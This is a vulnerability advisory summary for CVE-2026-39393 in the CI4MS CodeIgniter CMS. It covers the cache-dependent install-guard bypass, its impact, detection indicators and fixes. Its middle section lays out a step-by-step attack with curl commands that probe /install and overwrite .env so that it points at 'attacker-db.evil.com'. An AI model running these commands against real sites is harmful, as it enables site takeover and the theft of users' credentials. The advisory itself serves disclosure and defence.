CVE-2026-39393: 
PHP vulnerability analysis and mitigation

CVE-2026-39393 is a post-installation re-entry vulnerability in CI4MS (a CodeIgniter 4-based CMS skeleton) caused by a cache-dependent install guard bypass. The install route guard fails open when the database is temporarily unreachable during a cache miss, allowing unauthenticated attackers to access the setup wizard and overwrite the .env file with attacker-controlled database credentials. All versions up to and including 0.31.3.0 are affected; the issue is fixed in version 0.31.4.0. It carries a CVSS v3.1 base score of 8.1 (High) (GitHub Advisory, CI4MS Advisory).

The root cause is classified as CWE-306 (Missing Authentication for Critical Function). The InstallFilter::before() method in modules/Install/Filters/InstallFilter.php blocks access to the setup wizard only when both a .env file exists AND the cache('settings') value is non-empty. During the Filters constructor, if the database is unreachable, a \Throwable exception is silently swallowed, leaving the cache empty — causing the guard to fail open. The host parameter in the install controller's POST handler is not subject to any validation rules and is written directly to the .env file via updateEnvSettings(), with no CSRF protection (install routes are explicitly CSRF-exempt). The exploitability window recurs every 24 hours at cache TTL expiry and after any of 14+ admin actions that call cache()->delete('settings'), but only when the database is simultaneously unreachable (GitHub Advisory, CI4MS Advisory).

Successful exploitation results in full application takeover: the .env file is overwritten with attacker-controlled database credentials, redirecting all application queries to an attacker-controlled server. This enables credential theft (all subsequent logins and form submissions are sent to the attacker's database), arbitrary content injection, phishing, and privilege escalation. Additionally, generateEncryptionKey() is called during the exploit, invalidating all existing encrypted data and sessions, causing an availability impact on legitimate users (CI4MS Advisory).

A public proof-of-concept with explicit curl commands is available in the GitHub Security Advisory, demonstrating the full attack sequence (CI4MS Advisory). The attack requires no authentication, no CSRF token, and no user interaction, though it does require a specific precondition: the target database must be temporarily unreachable while the settings cache is empty. There is no evidence of active in-the-wild exploitation at this time. The EPSS score is approximately 0.015% (0.000150), indicating a low current probability of exploitation (GitHub Advisory). The vulnerability is not listed in the CISA KEV catalog.

1. Reconnaissance: Identify internet-facing CI4MS instances (versions ≤ 0.31.3.0) using web fingerprinting tools or by checking for the /install route.
2. Wait for or induce precondition: Monitor for a database outage (maintenance window, connection exhaustion, or network partition) coinciding with a cache miss (24-hour TTL expiry or an admin action that clears the settings cache).
3. Verify guard bypass: Send a probe request to confirm the install route is accessible:

curl -s -o /dev/null -w "%{http_code}" http://target/install
# Expected: 200 (instead of 404)

4. Overwrite .env with attacker-controlled credentials: POST to the install endpoint with a malicious host parameter pointing to an attacker-controlled database server (no CSRF token required):

curl -X POST http://target/install \
  -d 'baseUrl=http://target/' \
  -d 'host=attacker-db.evil.com' \
  -d 'dbname=ci4ms' \
  -d 'dbusername=root' \
  -d 'dbpassword=pass' \
  -d 'dbdriver=MySQLi' \
  -d 'dbpre=' \
  -d 'dbport=3306' \
  -d 'name=Admin' \
  -d 'surname=Evil' \
  -d 'username=admin' \
  -d 'password=Evil1234!' \
  -d 'email=evil@attacker.com' \
  -d 'siteName=Pwned'

5. Complete takeover via /install/dbsetup: Follow the redirect to /install/dbsetup, which runs database migrations on the attacker-controlled server and creates an admin account, completing the full application takeover (CI4MS Advisory).

• Network: Unexpected HTTP GET or POST requests to /install or /install/* routes from external IP addresses on a production CI4MS instance; outbound database connections from the application server to unfamiliar or external database hosts.
• File System: Unexpected modification timestamp on the .env file in the application root (ROOTPATH); .env file contents referencing an external or unknown database hostname; absence of a WRITEPATH/installed.lock file on a system that should be fully installed.
• Logs: Web server access logs showing POST /install requests from external sources, especially during periods of database unavailability; application logs showing silent \Throwable exceptions from the Filters constructor (database connection failures) immediately preceding install route access.
• Database: Unexpected new admin user accounts created in the application database; database connection attempts originating from the application server to external IP addresses (CI4MS Advisory).

Upgrade CI4MS to version 0.31.4.0 or later, which fixes the vulnerability (GitHub Advisory). As a temporary workaround, ensure database connectivity is stable and avoid clearing the settings cache during normal operation. Additionally, implement network-level access controls (firewall rules, WAF policies) to restrict access to the /install and /install/* routes to trusted IP addresses only. The recommended long-term code fix is to replace the volatile cache-based guard with a persistent filesystem lock file (WRITEPATH/installed.lock) and add input validation for the host parameter in the install controller (CI4MS Advisory).

The vulnerability was published by the CI4MS maintainer (bertugfahriozer) on April 7, 2026, and reviewed by the GitHub Advisory Database on April 8, 2026. A Bluesky post referencing the CVE was noted shortly after disclosure. No significant broader media coverage or notable independent researcher commentary has been identified beyond the official advisory (GitHub Advisory).